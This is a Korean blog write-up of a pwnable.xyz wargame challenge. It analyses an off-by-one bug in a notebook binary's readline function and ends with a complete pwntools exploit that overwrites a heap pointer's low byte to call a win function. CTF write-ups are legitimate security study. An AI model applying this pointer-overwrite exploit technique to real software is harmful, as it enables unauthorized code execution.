1. 문제
1) mitigation 확인
PIE가 안걸려있다.
2) 문제 확인
바이너리를 실행하면 처음에 노트북 이름을 입력받는다. 그다음 1번 메뉴로 노트의 사이즈를 선택하여 타이틀 및 노트를 입력 가능하다. 2번 메뉴로 노트에 입력한 내용을 수정 가능하며, 3번으로 삭제를 한다. 마지막 4번으로는 초기에 입력한 노트북 이름을 수정 할 수 있다.
3) 코드 확인
- main() 함수
int __cdecl main(int argc, const char **argv, const char **envp) { setup(argc, argv, envp); printf("Name your notebook: "); readline((uint8_t *)&nbook, 0x80, '\n'); while ( 1 ) { print_menu(); switch ( (unsigned __int64)(unsigned int)read_int() ) { case 0uLL: return 0; case 1uLL: make_note(); break; case 2uLL: edit_note(); break; case 3uLL: delete_note(); break; case 4uLL: printf("Notebook name: "); readline((uint8_t *)&nbook, 0x80, '\n'); break; default: puts("Invalid"); break; } } }
초기에 readline() 함수로 이름을 0x80 사이즈 만큼 입력 받는다. 그다음 각 메뉴에 따라서 반복문이 돌게 된다. 1번 부터 살펴보자
- make_note() 함수
notebook *make_note() { notebook *result; // rax int size; // [rsp+4h] [rbp-Ch] notebook *makenote; // [rsp+8h] [rbp-8h] printf("size: "); size = read_int(); makenote = (notebook *)malloc(0x38uLL); makenote->note = (char *)malloc(size); makenote->size = size; makenote->getsize = (void (__fastcall **)(char *))get_size; printf("Title: "); readline(makenote->title, 0x1F, '\n'); printf("Note: "); readline((uint8_t *)makenote->note, size, '\n'); result = makenote; ptr = makenote; return result; }
사이즈를 입력 받고 0x38 사이즈 malloc을 한다. 그다음 입력한 사이즈 만큼 한번더 malloc을 한다. 그리고 사이즈, get_size 함수포이터 를 makenote에 저장을 한다. 그리고 타이틀과 노트를 입력받는다. make_note() 함수가 호출되고 났을때의 힙 구조는 다음과 같다
한번 호출할때 마다 청크는 2개 생긴다. 고정사이즈 0x40 과 note 가 들어가 청크이다. 주황색에 타이틀이 입력되고, 노란색 부분에 노트가 입력된다. 그리고 해당 청크의 시작 주소가 ptr 에 복사된다.
- edit_note() 함수
void *edit_note() { void *result; // rax int v1; // eax result = ptr; if ( ptr ) { result = ptr->note; if ( result ) { printf("note: "); v1 = ((__int64 (__fastcall *)(notebook *))ptr->getsize)(ptr); result = (void *)readline((uint8_t *)ptr->note, v1, '\n'); } } return result; }
ptr→note가 존재한다면 ptr→getsize 함수를 호출하여 사이즈를 찾아낸뒤, 노트를 해당 사이즈 만큼 수정 가능하다.
2. 접근방법
readline() 함수에서 취약점이 터진다.
unsigned __int64 __fastcall readline(uint8_t *a1, int a2, char a3)
{
char v4; // [rsp+0h] [rbp-20h]
uint8_t buf; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v4 = a3;
v7 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
read(0, &buf, 1uLL);
if ( buf == v4 )
break;
a1[i] = buf;
}
a1[i] = buf;
return __readfsqword(0x28u) ^ v7;
}
a3은 '\n' 을 나타내고 있는데, 입력한 마지막 문자열이 개행문자면 이를 맨 마지막에 넣는다. 하지만 만약 개행이 없다면, buf에 담겨져 있는 문자 하나를 맨 마지막에 넣을 수 있고, 이를 통해 off-by-one이 발생한다.
bss 영역을 보면 nbook 변수에 이름이 최대 0x80 입력가능하다. 하지만 off-by-one을 이용하여 한바이트를 수정 가능하고, 이는 ptr의 하위 한바이트 값을 변경할수 있다. make_note() 함수에서 처음 할당되는 청크는 0x40 청크 사이즈이다.
make_note() 가 한번 호출되면, ptr에 0x603010 주소가 들어간다. 그리고 3번 메뉴로 edit_note()를 호출한다면, 0x603010에 들어있는 get_size를 호출한다. 하지만 make_note() 함수를 호출한 뒤에, 4번 메뉴로 이름을 수정하고, off-by-one을 이용하여 ptr의 하위 한바이트를 0x50으로 수정한뒤에 edit_note()를 호출하면 어케 될까?
ptr→note 즉 0x603050 + 0x30에 값이 있는지 확인한다음, 존재한다면, 0x603050에 들어있는 함수포인터를 실행할 것이다. 따라서 첫번째 make_note() 호출시 사이즈 를 0x50 정도 적당히 할당하고, 0x603050에 win 주소, +0x30에 아무 값을 넣은뒤에, 4번 메뉴로 ptr 하위 한바이트를 0x50로 수정한다면, get_size가 호출되는 것이 아니라 win함수가 호출될 것이다.
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30035)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xc14+$code\n')
p.sendlineafter("notebook: ","A")
p.sendlineafter("> ","1")
p.sendlineafter("size: ","56")
p.sendlineafter("Title: ","B")
p.sendafter("Note: ",p64(0x40092C)+"C"*40+p64(0x123456))
p.sendlineafter("> ","4")
p.sendafter("Notebook name: ","A"*0x7f+"\x50")
p.sendlineafter("> ","2")
p.interactive()
4. 몰랐던 개념
- none
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] Car shop (0) | 2020.05.18 |
---|---|
[pwnable.xyz] words (0) | 2020.05.18 |
[pwnable.xyz] nin (0) | 2020.05.16 |
[pwnable.xyz] Dirty Turtle (0) | 2020.05.14 |
[pwnable.xyz] Hero Factory (0) | 2020.05.13 |